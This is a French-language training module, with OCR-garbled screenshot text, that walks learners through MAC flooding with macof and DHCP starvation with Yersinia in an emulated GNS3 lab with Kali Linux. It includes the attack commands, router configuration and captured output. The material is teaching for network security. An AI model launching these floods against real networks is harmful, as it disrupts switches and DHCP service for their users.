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PARTIE 1

DECOUVRIR LES NOTIONS DE BASE DE LA
SECURITE DES SYSTEMES D'INFORMATION
(SI)

Dans ce module, vous allez :

Apprendre a utiliser des outils implémentés dans Kali Linux
pour lancer des attaques de sécurité

Réaliser des attaques de sécurité exploitant les vulnérabilités
des protocoles du modele OSI
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orsr  WEBFORCE - ACTIVITE 1

MENER UATTAQUE MAC FLOODING

Compétences visées :

» Utiliser des outils avancées pour lancer des attaques de
sécurité

* Réaliser une attaque externe exploitant les vulnérabilités de
la couche 2 du modele ISO

Recommandations clés :

* Maitriser le principe de l'attaque par inondation d'adresses
MAC (MAC flooding attack)
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CONSIGNES

Pour le formateur

Lapprenant doit étre capable de mettre en place l'environnement de travail décrit
dans I'énoncé

Il doit étre aussi en mesure de réaliser I'attaque MAC flooding et d’observer les
résultats de cette attaque

Pour I'apprenant

Il est recommandée de maitriser le principe de l'attaque MAC flooding et ses
résultats

Il est recommandée également de suivre les étapes décrites dans I'’énoncé pour
pouvoir mener l'attaque avec succes

Conditions de réalisation :

GNS3. Lien de téléchargement : https://www.gns3.com/software/download

VirtualBox. Lien de téléchargement : https://www.virtualbox.org/wiki/Downloads

Une machine Virtuelle Kali Linux 2022.1. Lien de téléchargement
https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-

amd64.ova

Un fichier c3725-adventerprisek9-mz.124-15.T14.bin Lien de téléchargement :
https://drive.google.com/open?id=1DXsej1M3grZCo9I5041Jh2jUGpnmCOR5

Criteres de réussite :

Réaliser le méme environnement du travail décrit dans I'’énoncé
Exécuter avec succes l'attaque de sécurité

Visualiser que la table MAC du commutateur ait été bien inondée suite a I'exécution
de l'attaque


https://www.gns3.com/software/download
https://www.virtualbox.org/wiki/Downloads
https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-amd64.ova
https://drive.google.com/open?id=1DXsej1M3grZCo9l5O41Jh2jUGpnmCOR5
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Etape 1 : Mise en place de 'environnement de travail

* L'objectif principal de cette activité est de tester I'exécution d’'une attaque MAC Flooding. Pour ce faire, nous allons émuler une topologie réseau dans GNS3 a partir de
laquelle nous allons essayer de tester la réalisation de cette attaque.

* Graphical Network Simulator-3 (GNS3) qui est un émulateur réseau permettant la combinaison de dispositifs virtuels pour émuler des réseaux complexes.

A l'aide de GNS3, nous pourrons non pas seulement émuler une topologie du réseau, mais aussi simuler I'exécution des attaques de sécurité en émulant les dispositifs
et les outils qui peuvent étre utilisées par des pirates.

* Dans cette étape, vous étes chargés de télécharger et installer GNS3, puis ouvrir un nouveau projet, intitulé Projetl. Ci-dessous, I'interface d’accueil de GNS3.

Aorming GA5 T vermsn 5.2.3L on Winezvs (Bt whh Pyiean 1.0 508 5 15D emd Fede DLU5E,
=zt 51 MR 13 ST Tachrs
Lea | iy = BHUICastee b2 et rararsn mse.

=]

Interface d’accueil de GNS3
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Etape 2 : Préparation de la machine virtuelle Kali Linux

e Kali Linux est une distribution Linux open source basée sur Debian. Elle est orientée vers diverses taches de sécurité de l'information, telles que les tests d'intrusion, la
recherche en sécurité, I'informatique judiciaire et l'ingénierie inverse.

e Kali Linux implémente plusieurs outils permettant de tester 'exécution de certaines attaques de sécurité.

* Dans cette étape, vous étes chargés de télécharger le fichier kali-linux-2022.1-virtualbox-amd64.ova, puis I'importer dans VirtualBox pour créer une machine virtuelle
Kali linux.

_'Ij Oracle VM VirtualBox - Gestionnaire de machines

@@ oD

Fichier MEChiﬂE .IE'LIdE Mouvele Comfgurabon Oubler  [Emare
i B General B privismalisalion
(ﬁb Paramétres... Ctrl+G — ket irux-2022. Lrtuslboo-
T
Systhme dexploitaton @ Debian (54-b%)
&l
Importer un appareil virtuel... Ctrl+1 -
pa PR3 &] system kali-linux-2022.1-
- - MEmolre e @ IHE M
() Exporter un appareil virtuel... Ctrl+E Sl Fala virtualbox-amd64
Ordne Fareorgage ¢ Diague dur, Opdgue
I'lr.ue'léf!lnﬂ:ﬂd 'JT;.':-H}-::“:'.:;-ubmnbnm,
Mew Cloud VM... PAL A | Parmartushsabor K
B affichage
Gestionnaire de médias... Ctrl+D & stockesge
: - : = Conlrileu : MF
Gestionnaire de réseau hote... Ctrl+H Metre econdaie IDE :  [Lectews optgue] Wde
Contrdlsur ; SATA
-l g EeFrmres d'opérations FEE e Fort 54TA T kalHnUK-20ZZ. L-nrtuslaoo-amci 4-dskn 1 wdi (Normal, 50,00 Go)
w o Ausdie
— @3 Rechercher des mises & jour... Piabe hte ; Windams DreciSound
P Contrdl=ur 1 [CH ACST
m I . HF Résean
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n_ L7 usB
@) Cuitter Ctrl+0 Cantrilmr LS9 5

OHCL
Fifres de peniphdngue 1 (0 acaf]

Importation du fichier kali-linux-2022.1-virtualbox-amd64.ova sous VirtualBox Machine Virtuelle Kali Linux crée sous VirtualBox
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Etape 2 : Préparation de la machine virtuelle Kali Linux

* |l vaut mieux mettre a jour le systeme d’exploitation Kali Linux, pour pouvoir installer les outils nécessaires pour la réalisation des activités.

* Pour ce faire, tapez dans le terminal la commande: sudo apt update

kali@kali: ~

@JRemarques File Actions Edit View Help

¢ Les identifiants de la machine Kali sont les suivants :
* Login : kali
* Mot de passe : kali

s [18.1 MB]

Mise a jour du systeme Kali
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Etape 2 : Préparation de la machine virtuelle Kali Linux

* Installez I'outil Macof dans la machine virtuelle Kali en tapant la commandes suivante dans le terminal : sudo macof
* Cet outil nous servira par la suite pour I'exécution de I'attaque MAC Flooding
* Apres avoir terminé l'installation de l'outil Macof, modifiez le mode d’acces réseau en " Aucune connexion"

* Cela est requis pour que vous puissiez par la suite connecter cette machine a la topologie réseau qui sera créée dans 'émulateur GNS3 dans I'étape suivante

G keali-linu - 2022 1-vittualbos-amdid - Paramitees T x
K Réseau
E‘ Systéme Admoter 1 Adspler 2 Adapier 3 dapber 4
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Mode d’acces réseau de la VM Kali
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Etape 3 : Emulation de la topologie de réseau

e Aprés avoir installé GNS3, nous allons émuler une topologie réseau a partir de laquelle, nous testerons l'attaque MAC Flooding.

* Latopologie réseau a émuler est illustrée dans la figure ci-dessous.

Switch Pirate_Kali

Fal/1 0 vl
=8 (A

Topologie réseau

* Pour mettre en place une telle topologie, vous étes chargés de :
1. Télécharger le fichier c3725-adventerprisek9-mz.124-15T14.bin, qui représente une image Cisco I0S permettant I'émulation d’un commutateur (Switch).

2. Créer manuellement une nouvelle Template de commutateur a partir du fichier c3725-adventerprisek9-mz.124-15.T14.bin.Pour ce faire, cliquez sur
"+NewTemplate"->"Manually create a new template"—> "I0S Routers" = "New". Sélectionnez ensuite le fichier c3725-adventerprisek9-mz.124-15.T14.bin et
complétez le processus de création de la Template du commutateur (sous le nom EtherSwitch) ;

3. Importer la machine virtuelle Kali Linux. Pour ce faire, cliquez sur Edit-> preferences > VirtualBox—> VirtualBOX VMs—> New ;

4. Etablir les liens requis pour créer la topologie comme illustrée a la figure ci-dessus ;

i
—
-
<
o.

5. Démarrer les équipements de la topologie réseau en cliquant sur le boutant Start/Resume all nodes.
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Etape 4 : Exécution de I'attaque MAC Flooding

* Lattaque Mac Flooding consiste a inonder un commutateur avec des paquets ARP falsifiés, chacun contenant différentes adresses MAC source. Pour exécuter une telle
attaque, vous étes chargés de :

1. Afficher le nombre actuel d'entrées dans la table d'adresses MAC du commutateur. Pour ce faire, exécuter la commande suivantea partir du terminal du
commutateur : #show mac-address-table count ;

2. Utiliser I'outil "macof" dans la machine Kali Linux pour inonder le commutateur. Vous pouvez utiliser la commande suivante depuis le terminal de la machine
Kali : sudo macof -i eth0 ;

 Remarques

Loutil macof permet d’'inonder un commutateur de réponses MAC falsifiées a une
vitesse élevée.

Loption -i suivie du nom de k’interface (ethO, par exemple) permet de spécifier
I'interface de sortie du flux de de réponses MAC falsifiées.

3. Vérifier I'exécution de I'attaque en :
* utilisant Wireshark pour analyser le trafic généré par |'attaquant ;

e affichant le nombre actuel d'entrées dans la table d'adresses MAC du commutateur en utilisant la commande suivante : # show mac-address-table
count.

i
—
-
<
o

4. Arréter I'exécution de I'attaque.
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Etape 3 : Emulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d’'un commutateur a partir du fichier c3725-adventerprisek9-mz.124-15.T14.bin, sélectionnez l'icone " +New template "

+New template
Une nouvelle fenétre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenétre intitulée Preferences s'ouvre, sélectionnez alors 10S
Manually create a new template. Cliquez ensuite sur Next. Routers, et parcourez le chemin du fichier c3725-adventerprisek9-mz.124-
15.T14.bin. Cliquez ensuite sur Next.
& Hewtemplne 7 ks L
Huw Lemplabe General [105 router templates
P‘E!Hﬂ!ﬁrlﬂ\ﬂ.“!ﬂ'ﬂmtbﬂrwt Server
Ll ERY G 9
Tt mpylence S Ha EREY aerver frecommended] Packet capture I e 15 e et * =
= Buli-In ”
roort an apphance M {0750 Eeis Ethemet haubs Jre— a
% Manusly e 8 new bamokris Ethernet switches Fuase a5 gt
Cloud modes
- m Fdefirn rowpe &0 Risss Trowps
WPCS podes 15 e
- Dynamips 1L P anages KR O3 TEE - waniabein, 124 15,7 H mage [
105 rauters
= |05 an UHIX
10V Devices ]
= QEMLU
Semu Vs
= WirtunlBox.
WirtuslBox W=
= Vidware
Widvware Wil
= Dackir

Docker contalners
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Etape 3 : Emulation de la topologie de réseau

Une nouvelle fenétre intitulée New IOS router s’ouvre, nommez-la template du
commutateur EtherSwitch. Sélectionnez la case This is an EtherSwitch router.
Cliquez ensuite sur Next.

€ New 105 router - c3725-adventerprisekd-mz.124-15.T14.image ? X
Mame and platform a
Please choose a descriptive name for this new 105 router and verify the platform and chassis.
Name: |Eﬁ’1&r5witd'1| |
Flatform: | c3725 -
Chassis: =

V| This is an EtherSwitch router

< Back | MNext = Cancel
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Attribuez une capacité RAM, il est possible d’utiliser la valeur par défaut 128 Mo.

Cliquez ensuite sur Next.

& Mew 105 router - ¢3725-adventerprisek9-mz.124-15.T14d.image

Memory
Please check the amount of memory (RAM) that you allocate to 105, Too much or not enough RAM could
prevent [0S from starting.

Default RAM: |[128 MiB

Check for minimum and maximum RAM reguirement

< Back | Mext =

Cancel
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Sur la page Network adaptaters, il vaut mieux ne pas modifier la configuration Sur la page Idle-PC, il vaut mieux ne pas modifier la configuration par défaut.
par défaut. Cliquez ensuite sur Next. Cliquez ensuite sur Finish.
& Mew |05 router - c3725-adventerprisekd-mz124-15,T14.image 7 X & New |05 router - c3725-adventerprisek9-mz.124-15.T14image ? *
Network adapters = Idle-PC E
Flease choose the default network adapters that should be inserted into every new instance of this router, An idle-pc value is necessary to prevent I0S to use 100% of your processor or one of its cores.

slot 0: | GT95100-FE - Idle-PC: |Dx60c09aa0)] | | Idle-PC finder
slot 1: | MM-16E5W -
slot 2: -
slot 3: v
slot 4: =
slot 5: -
slot &: v

i
—
-
<
o

< Back [ mext = Cancel < Back | Finish | Cancel
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Etape 3 : Emulation de la topologie de réseau

Comme illustré dans la figure ci-dessous, la template EtherSwitch a été créée avec succes.

All devices (= )

@ Filter |
ATM switch
# Cloud

#” Ethernet hub

f Ethernet switch

-::] & EtherSwitch

0 ﬂ Frarme Relay switch
NAT

i
—
-
<
o.
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Etape 3 : Emulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d’une machine a partir d’'une machine virtuelle créée sous VirtualBox, sélectionnez l'icone == riew template

Une nouvelle fenétre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenétre intitulée Preferences s’ouvre, sélectionnez alors
Manually create a new template. Cliquez ensuite sur Next. VirtualBox VMs, et sélectionnez la VM Kali. Cliquez ensuite sur Next.

f2d Pz template 7 b & ros

ficw Semplatc General | virtualBox VM templates
Please selart hom you want o cests & new benplrte Server

GM53 VM

Trutal o apokance Trem T GHES aars i Jrecommmeradng Pﬂlﬂitﬁﬂtllﬂ

= Built-in
Import an appliance fie [grsda extansion] Ethernet hubs

» Hanualy oeate 8 mew erplate Ethernet switches
Cloud nodes.

- VPCS B s VirlualBoa VM bl ! s
VPCE nodes

- Dynamips WirluaBux Vrtual Flachine "@
o5 pu Fimace chazoe 3 Ve To v racee o the bt w

routers

- 105 on UNLX
10U Deviccs

- QEMILU I'ﬂ"’h!. [F Y TR T B JE R x I
em Vs Lz 25 a inkid Dage W jaapesimantal]

- VirtualBox
VirtualBox Vivis

= VMware
Vilware VM=

= Dacker
Docker containers

i
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Etape 3 : Emulation de la topologie de réseau

Terminez le processus de création en cliquant sur Apply puis Ok.

i Prafwancen

General
Server
GHE3 VM
Packet @pturc
= Bailt-in
Ethernet hubs
Ethernet switches
Cloud nodes
- VS
VPLE nodes
- Dynamips
105 routers
- 106 o UMIX
10U Devices
- QEMIL
Chemu Wids
= VirtualBax
VirtualBox WMs
= ViMlware
Whware Wiz
= Docker
Docker containers

i
—
-
<
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| virtualBox WM templates

B kali-linux-2022.1-virtualbox-amdd

= Girmaral
Tempsbs name:
Tempats |0
Virtua Bux nermz
FAK:
Sereid
Hezdless srede 2ragled
Ol
Linged bage vk
Canesle sy
Sk b conesle:
* Network
Azaphern
Hame formar:
L airy adapber:
Tipes

feali-irea - 202 -vinuakaz -amc6d
rom

Kab-lirea - HEY | vinuakuc -amaid
.

DEEKTON 350G
Fike

s off

Fake
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Etherail
Fahu
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Comme illustré dans la figure ci-dessous, la template Kali a été créée avec succes.

All devices (&) 3]
\Filter |
ATM switch

Cloud

#” Ethernet hub

P Fthernet switch

EtherSwitch
m Frarne Relay switch

kali-linux-2022.1-wirtwalbox -amdbd

Copyright - Tout droit réservé - OFPPT
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Etape 3 : Emulation de la topologie de réseau
Importez les équipements nécessaires dans I'espace de travail, les nommez, puis Cliquez sur le bouton Start/Resume all nodes. Une fenétre de confirmation

établissez les liens requis pour créer la topologie comme illustré a la figure ci- s‘ouvre, cliquez alors sur Yes.

dessus.
- Pirate_Kali
- Pirate_ Kali Switch -
Switch Fal/1 ED @i
- € Confirm Start Al X

0 Are you sure you want to start all devices?

Yes | | Mo

Comme illustré dans la figure ci-dessous, tous les équipements sont actifs et
préts a étre utilisés.

Switch Pirate_Kali

i
—
-
<
o.
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Etape 4 : Exécution de I'attaque MAC Flooding

* Aprés avoir mis en place la topologie réseau demandée et avant de commencer la réalisation de I'attaque de sécurité, il faut vérifier le nombre actuel d'entrées dans la
table d'adresses MAC du commutateur (nommé Switch) dans notre topologie

* Pour ce faire, double cliquez sur le commutateur afin d’ouvrir le terminal du commutateur
* Dans le terminal du commutateur, exécutez la commande suivante : show mac-address-table count

* Le résultat de la commande exécutée (c.a.d, le nombre actuel d'entrées dans la table d'adresses MAC du commutateur) est affiché dans la figure ci-dessous

* Selon le résultat obtenu :
* Nombre actuel d'entrées dans la table d'adresses MAC est égala 1

* Nombre maximum d'entrées dans la table d'adresses MAC est égal a 8192

ss-table count

i
—
-
<
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Etape 4 : Exécution de I'attaque MAC Flooding

* Lancez 'exécution de I'attaque MAC Flooding depuis la machine Kali, en accédant a son terminal et en tapant la commande : sudo macof -i eth0

* Narrétez pas I'exécution de l'attaque jusqu’a ce que vous puissiez examiner les résultats de cette attaque

eth@
[sudo] ssword for kali:
ca:2e: 9 :85:f8 2e:84:57:25:aa:1c 0.0.0.0.19471
14:213 714(0) win 512
- :16:3f:92 ¢1:97:10:0:f7:7a 0.0.0.0.20462 > 0.
41(0) win 512
3:fCc:20 fe:8F:94:54:b9:4Cc 0.0.0.0.22434 > 0.0.0.0.45375:

(@) win 5
A b6 C t1le 0.0.33411 > 0.26907: S B69447198:;
win 512

ea :b6:cé4 79:db:32:17:5b:9e 0.0.0.0. E N 39971 S 151179514
4-1 11 uilaq[@} win 512

48:76:bt:66:12:8c 87:5a:ad:31:9a:41 0.0.0.0.40049 > 0.0.0.0.45166: S 11022067
51:110 31(0) win 512

ea:ch: :5f:3d:e af:97:23:2d:a5:8 0.0.0.0 392 > 0.0.0.0.12209: S 1924028492

i
—
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Etape 4 : Exécution de I'attaque MAC Flooding

* Depuis le terminal du commutateur, exécutez de nouveau la commande show mac-address-table count afin d’examiner le nombre actuel d’entrées dans la table
d’adresses MAC du commutateur

* Le résultat de la commande exécutée (c.a.d, le nombre actuel d'entrées dans la table d'adresses MAC du commutateur) est affiché dans la figure ci-dessous

* Selon le résultat obtenu, vous pouvez remarquer que le nombre actuel d'entrées dans la table d'adresses MAC est passé de la valeur 1 a 8188 qui est une valeur trés
proche du nombre maximum d'entrées dans la table d'adresses MAC

ER Switch - O X
* Nous pouvons donc conclure que la table MAC est inondée avec succes

e COUntT

pl
=]
a

imum FA
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......

Etape 4 : Exécution de I'attaque MAC Flooding

Il est aussi possible d’analyser le trafic généré par la machine Kali en utilisant 'outil d'analyse Wireshark, qui est installé par défaut avec GNS3.

Pour lancer Wireshark, il suffit de cliquer avec le bouton droit sur le cable liant

' : Ut _ _ Une fenétre de capture de paquets s'ouvre comme illustré dans la figure ci-
la machine Kali et le commutateur. Sélectionnez ensuite I'option Start capture.

dessous, cliquez alors sur OK.

€ Packet capture ? >

Switch Pirate_Kali Link type: |Etherr1et - |

B

File name: |5witch_FastEmernetll_to_Pirate_KaIi_Emernem |

v | Start the capture visualization program

T Packet filters ok || cancel |

[ Suspend
A Style
@ Delete

i
—
-
<
o.
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BE THE CHANGE

Etape 4 : Exécution de I'attaque MAC Flooding

La figure ci-dessous est un extrait de la capture du trafic collectée lors de I'exécution de I'attaque MAC Flooding.

ﬂ Capture en cours de - [Switch FastEthernet1/1 to Pirate_Kali Ethernet(] — O X

Fichier Editer WVue Aller Capture Analyser Statistiques Telephonie  Wireless  Outils  Aide

w & ® RE Re==2F L Eaqan
(W [arp BHED -+
Mo. Time Source Destination Protocol  Length Info all |
1825.. 21.523881 117.97.191.29 139.9.245.55 TPwd 68 H
1825.. 21.523881 38.228.38.93 112.161.121.37 TPwd 68
1825.. 21.5247385 4.189.149.25 172.81.15@8.126 IPwd ]
1825.. 21.524785 188.185.81.14 116.5.98.7 IPwd at:]
1825.. 21.825753 169.184,227.35 2.163.37.35 IPwd (at:]
1825.. 21.825753 219.79.285.38 16.192.23.116 IPwd s
1825.. 21.825753 8@.164.60.14 236.223.286.126 IPwd (1]

i
—
-
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> Frame 1: 6@ bytes on wire (488 bits), 6@ bytes captured (48@ bits) on interface -, id @
Fthernet TT. Sre: 2d:hS:eh:2a:cf:@3 (2d:hS:eh:2a:cf:@3Y. Dst: 81:22:58:7f:2R:e2 (A1:22:58:7f:2R:02)

81 22 58 7f 26 e2 2d b5 eb 2a cf @3 B8 @@ 45 @@ K&- * e E
8@ 14 f2 e7 @@ @0 48 @6 Of 71 d7 4@ 22 39 35 fc -+ @ -q-@"9s:
49 16 25 aa fb 9f 3¢ ae bf 2a @0 @0 Be @@ 5@ B2 I-% % %P
@2 @@ 16 34 0@ @0 @@ @@ 08 08 08 B B

o ?  Address Resolution Protocal: Protocal

|| Paguets: 130515 - Affichés: 130516 (100.0%) || Profile: Default
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MENER UATTAQUE DHCP STARVATION

Compétences visées :

» Utiliser des outils avancés pour lancer des attaques de
sécurité

* Réaliser une attaque externe exploitant les vulnérabilités de
la couche 2 du modele ISO

Recommandations clés :

* Maitriser le principe de I'attaque DHCP starvation

3 heures




CONSIGNES
OFPPT WEBFORCE > Pour le formateur

PP TEI— BE THE ﬂH,ﬁ.NGE

. Lapprenant doit étre capable de mettre en place l'environnement de travail décrit
dans I'énoncé

. Il doit étre aussi en mesure de réaliser I'attaque DHCP Starvation et d’observer les
résultats de cette attaque

Pour I'apprenant

. Il est recommandée de maitriser le principe de l'attaque DHCP Starvation et ses
résultats
. Il est recommandée également de suivre les étapes décrites dans I'’énoncé pour

pouvoir mener cette attaque avec succes

Conditions de réalisation

. L'environnement de travail relatif a 'activité 1 a été bien mis en place et configuré
’ . Une machine Virtuelle Ubuntu (ou n’importe quelle machine virtuelle)
Lien de téléchargement de la VM Ubuntu :

https://www.osboxes.org/ubuntu/#ubuntu-21-10-info

. Un fichier c3725-adventerprisek9-mz.124-25d.bin. Lien de téléchargement :
http://network3000.persiangig.com/p/Cisco/ios/c3725-adventerprisek9-mz.124-
25d.bin

Criteres de réussite

. Réaliser I'environnement de travail décrit dans I'énoncé

. Exécuter avec succes l'attaque de sécurité



https://www.osboxes.org/ubuntu/#ubuntu-21-10-info
http://network3000.persiangig.com/p/Cisco/ios/c3725-adventerprisek9-mz.124-25d.bin

Activité 2 00 WEBFORCE
Mener I'attaque DHCP Starvation hmarn

Etape 1 : Préparation des machines virtuelles

* Lobjectif principal de cette activité est de tester I'exécution d’une attaque DHCP starvation.
* Pour ce faire, nous allons émuler une topologie réseau dans GNS3 a partir de laquelle nous allons essayer de tester I'attaque DHCP starvation.
* Dans cette étape, vous étes chargés de préparer les machines virtuelles qui vont étre utilisées par la suite pour émuler la topologie réseau de cette activité.

* La premiére tache consiste a installer I'outil yersinia dans la machine virtuelle Kali (utilisée dans l'activité précédente) en tapant la commandes suivante dans le
terminal : sudo apt install yersinia

* Cet outil nous servira par la suite pour I'exécution de I'attaque DHCP Startvation

E/;’ 'Remarques

Pour connecter la machine virtuelle Kali a Internet et pouvoir installer I'outil
yersinia, il faut choisir comme mode d’acces réseau "Nat" ou "Accés par
pont".

* Apres avoir terminé l'installation, modifiez le mode d’acces réseau de la
machine virtuelle en " Aucune connexion".

i
—
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Mener l'attaque DHCP Starvation

Etape 1 : Préparation des machines virtuelles

* Aprés avoir préparé la machine virtuelle Kali Linux, il faut préparer une deuxiéme machine virtuelle qui va jouer le réle d’'un client DHCP dans la topologie réseau
émulée.

* Dans cette activité, il est possible d’utiliser, par exemple, une machine virtuelle Ubuntu.

* |l est possible de télécharger un disque virtuel Ubuntu a partir du lien suivant https://www.osboxes.org/ubuntu/#ubuntu-21-10-info

* En partant de ce disque virtuel, il est possible de créer une machine virtuelle Ubuntu, en suivant les étapes suivantes :

1. Comme illustré dans la figure ci-contre, créez une nouvelle machine virtuelle : 7 %

Crée une machine virtuelle

Nom et systéme d'exploitation

Veuvillez choisir un nom et un dossier pour la nouvelle machine virtuele et sélectionner le
type de systéme d'exploitation que vous envisagez d'y installer. Le nom que vous

| Remarques choisirez sera repris au travers de VirtualBox pour identifier cette machine.
Mom : |Ubun1L|| |
* Les identifiants de la machine virtuelle Ubuntu sont les suivants : Dossier de Ia machine : | ETelechargementiUbunts 2 V‘
* Login : osboxes
* Mot de passe : osboxes.org Type : |Linuic v
Version : | Ubuntu {54-bit) ¥

i
—
-
<
o

Mode expert Annuler



https://www.osboxes.org/ubuntu/#ubuntu-21-10-info

Activité 2
Mener I'attaque DHCP Starvation

Etape 1 : Préparation des machines virtuelles

2. Sélectionnez une taille mémoire pour la machine virtuelle, par
exemple 1 Go. Cliquez ensuite sur Suivant.

€ Crée une machine virtuelle

Taille de la mémoaoire

Chuoisissez la quantité de mémaire vive en méga-octets alloués 3 la machine virtuelle,

La quantité recommandée est de 1024 Mo,

|III!IIIIIIIIIIIIIIIIIIIIIIIIIII 1024 =] MB

4MB 3192 MB

i
—
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Annuler

St WEBFORCE

3. Sélectionnez l'option « Utiliser un fichier de disque virtuel
existant », et parcourez ensuite le chemin du disque virtuel Ubuntu
téléchargé. Cliquez ensuite sur Créer. La machine virtuelle sera
créée avec succes.

€ Crée une machine virtuelle

Disque dur

SI vous le souhaitez, vous pouvez ajouter un disque dur virtuel 3 la nouvelle machine,
‘ous pouvez soit créer un nouveau disque, soit en choisir un de la liste ou d'un autre
emplacement en utiisant licéne dossier.,

Si vous avez besoin d'une configuration de stockage plus complexe, vous pouvez
sauter cette étape et modifier les réglages de la machine une fois celle-d crée.

La taille du disque dur recommandée est de 10,00 Gio.
() Me pas ajouter de dizque dur virtuel
() Créer un disgue dur virtuel maintenant

(®) Utiliser un fichier de disque dur virtuel existant

Ubuntu 21. 10 (64bit). vdi (Mormal, 500,00 Gio) - Ea

Créer Annuler
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Etape 2 : Emulation de la topologie de réseau

e Aprés avoir préparé les deux machines virtuelles, nous allons émuler une topologie réseau a partir de laquelle, nous testerons I'attaque DHCP starvation.

* Latopologie réseau a émuler est illustré dans la figure ci-dessous

R1

Chent_DHCP_Ubuntu Firate_Kali

sl ED Falf2 vy
Y s W™

* Pour mettre en place une telle topologie, vous étes chargés de :
1. Ouvrir un nouveau projet, nommeé Projet 2 ;
2. Télécharger le fichier c3725-adventerprisek9-mz.124-25d.bin, qui représente une image Cisco |0S permettant 'émulation d’un routeur (Router) ;

3. Créer manuellement une nouvelle Template d’un routeur a partir du fichier fichier c3725-adventerprisek9-mz.124-25d.bin. Pour ce faire, cliquez sur
"+NewTemplate" > "Manually create a new template"—> "I0OS Routers" = "New". Sélectionnez ensuite le fichier c3725-adventerprisek9-mz.124-25d.bin et
compléter le processus de création de la Template du routeur (sous le nom Router) ;

4. Importer la machine virtuelle Ubuntu. Pour ce faire, cliquez sur Edit-> preferences - VirtualBox—> VirtualBOX VMs—=> New ;

i
—
-
<
o.

5. Etablir les liens requis pour créer la topologie comme illustré a la figure ci-dessus ;

6. Démarrer les équipements de la topologie réseau en cliquant sur le boutant Start/Resume all nodes.

Copyright - Tout droit réservé - OFPPT 30



Activité 2 OogoFm WEBF OE CE.
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Etape 3 : Configuration du serveur DHCP

* Llattaque DHCP starvation consiste a inonder un serveur DHCP avec de fausses requétes DHCP. Pour mener cette attaque, la machine pirate (Kali Linux) diffusera
simultanément un grand nombre de requétes DHCP avec des adresses MAC usurpées, de sorte que les adresses IP disponibles dans la portée du serveur DHCP seront
épuisées dans un tres court laps de temps.

* Pour mener une telle attaque, vous devez d'abord configurer le routeur R1 en tant que serveur DHCP. Pour ce faire vous étes chargés de :
1. Ouvrir le terminal du routeur R1 en effectuantun double clique sur le routeur R1 ;

2. Activer l'interface appropriée (FastEthernet 0/0 dans notre exemple) et lui attribuer une adresse IP (10.0.0.1, par exemple).Pour ce faire, exécutez les
commandes suivantes depuis le terminal de R1 :

* R1# Configure terminal

* R1(config)# interface FastEthernet 0/0

* R1(config-if)#ip address 10.0.0.1 255.0.0.0
* R1(config-if)#no shutdown

* R1(config-if)#exit

3. Créer le pool DHCP d’adresses IPs qui seront distribués aux clients DCHP légitimes demandant des adresses. Ca sera le pool dadresses ciblés dans cette attaque.
Pour ce faire, exécutez les commandes suivantes depuis le terminal de R1 ;

* R1(config)#service dhcp

i
—
-
<
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* R1(config)#ip dhcp pool pool-1




Activité 2 OogoFm WEBF OE CE.
Mener l'attaque DHCP Starvation B¢

Etape 3 : Configuration du serveur DHCP

4. Spécifier I'adresse réseau (10.0.0.0, dans notre exemple) pour le pool d’adresses créé. Pour ce faire, exécutez la commande suivantes depuis le terminal de R1 :
R1(dhcp-config)#network 10.0.0.0 ;

5. Spécifier l'interface Fastethernet0/0 comme passerelle par défaut pour le réseau créé en tapant la commande :R1(dhcp-config)#default-router 10.0.0.1 ;

6. Indiquer les adresses exclues pour les supprimer du pool d’adresses qui peuvent étre attribuées aux clients DHCP. Cela pourrait étre utilisé pour protéger les
affectations statiques qui peuvent exister (passerelle par défaut, serveurs, imprimantes, etc...). Pour ce faire, tapez les ommandes suivantes :

* R1(dhcp-config)#lease 1
* R1(dhcp-config)#exit
* R1(config)#ip dhcp excluded-address 10.0.0.0
* R1(config)#exit
7. Vérifier la configuration effectuée a I'aide de la commande suivante : R1##show ip pool dhcp pool-1 ;

8. Enregistrer la configuration effectuée en tapant la commande suivante : R1# copy running-config startup-config ;

i
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Etape 4 : Vérification du bon fonctionnement du serveur DHCP

* Afin de vérifier si le serveur DHCP fonctionne correctement, vous devez vérifier si les adresses IP attribuées a la machine du pirate ainsi qu'a la machine victime (client
dhcp) appartiennent au pool assignable du serveur DHCP. Pour ce faire, vous étes chargés d’effectuer les taches suivantes :

1. Ouvrez l'invite de commande de la machine Ubuntu ;
2. Libérez la configuration IP actuelle de la machine Ubuntu en tapant la commande :sudo ;dhclient —r ;
3. Demandez une nouvelle adresse IP en tapant la commande : sudo dhclient ;
4. Vérifiez I'attribution de I'adresse en exécutant les commandes suivantes :
* Depuis le terminal de la machine Ubuntu : sudo ip address show
* Depuis le terminal du routeur : Rl1#show ip DHCP binding

5. Répétez les étapes précédentes (de 1->4) pour la machine Pirate.

i
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Etape 5 : Exécution de I'attaque DHCP Starvation

* Pour exécuter I'attaque DHCP starvation, il est possible d’utiliser I'outil Yersinia.

. Remarques

Yersinia est un outil permettant la réalisation des attaques de couche 2. Il est congu pour tirer parti de certaines
faiblesses des différents protocoles réseau.
* Loutil Yersinia peut étre installé dans une machine Kali en utilisant la commande : sudo apt install yersinia

* Dans cette étape, vous étes essentiellement chargés d’exécuter l'attaque et de visualiser ses résultats. Pour ce faire, il est recommandé de suivre les étapes suivantes :
Lancez Yersinia en exécutant la commande suivante dans le terminal de la machine Kali : sudo yersinia -G ;
Depuis l'interface de I'outil Yersinia, cliquez sur : Launch Attack=> DHCP - Sending DISCOVER packet-> OK ;

Lancez ensuite Wireshark dans GNS3 pour analyser les paquets DHCP DISCOVER envoyés ;

B wo NhoRe

Essayez de voir les dommages qui en résultent et de voir la disponibilité restante du pool d’adresses, en suivant les étapessuivantes :
i. Essayez de libérer et de renouveler I'attribution de I'adresse IP du client DHCP (machine Ubuntu) en tapant les commandes suivantes :
i. sudo dhclient -r
ii. sudo dhclient

ii. Utilisez la commande suivante dans le routeur pour voir le pool restant : Rl##show ip pool dhcp pool-1

i
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iii. Utilisez la commande suivante dans le routeur pour voir I'ensemble des adresses affectées : R1# show ip dhcp binding

5. Terminez I'exécution de I'attaque en tapant la commande suivante : #yersinia —I.




Activité 2 O WEBFORCE«

OFPPT wE THE CHANGE
Correction

Etape 2 : Emulation de la topologie de réseau

Cette interface illustre 'ouverture d’un nouveau projet, intitulé Projet2. Ce projet sera utilisé pour émuler la topologie réseau demandée dans cette activité.

& Project ? =

Mew project Projects library

Mew project

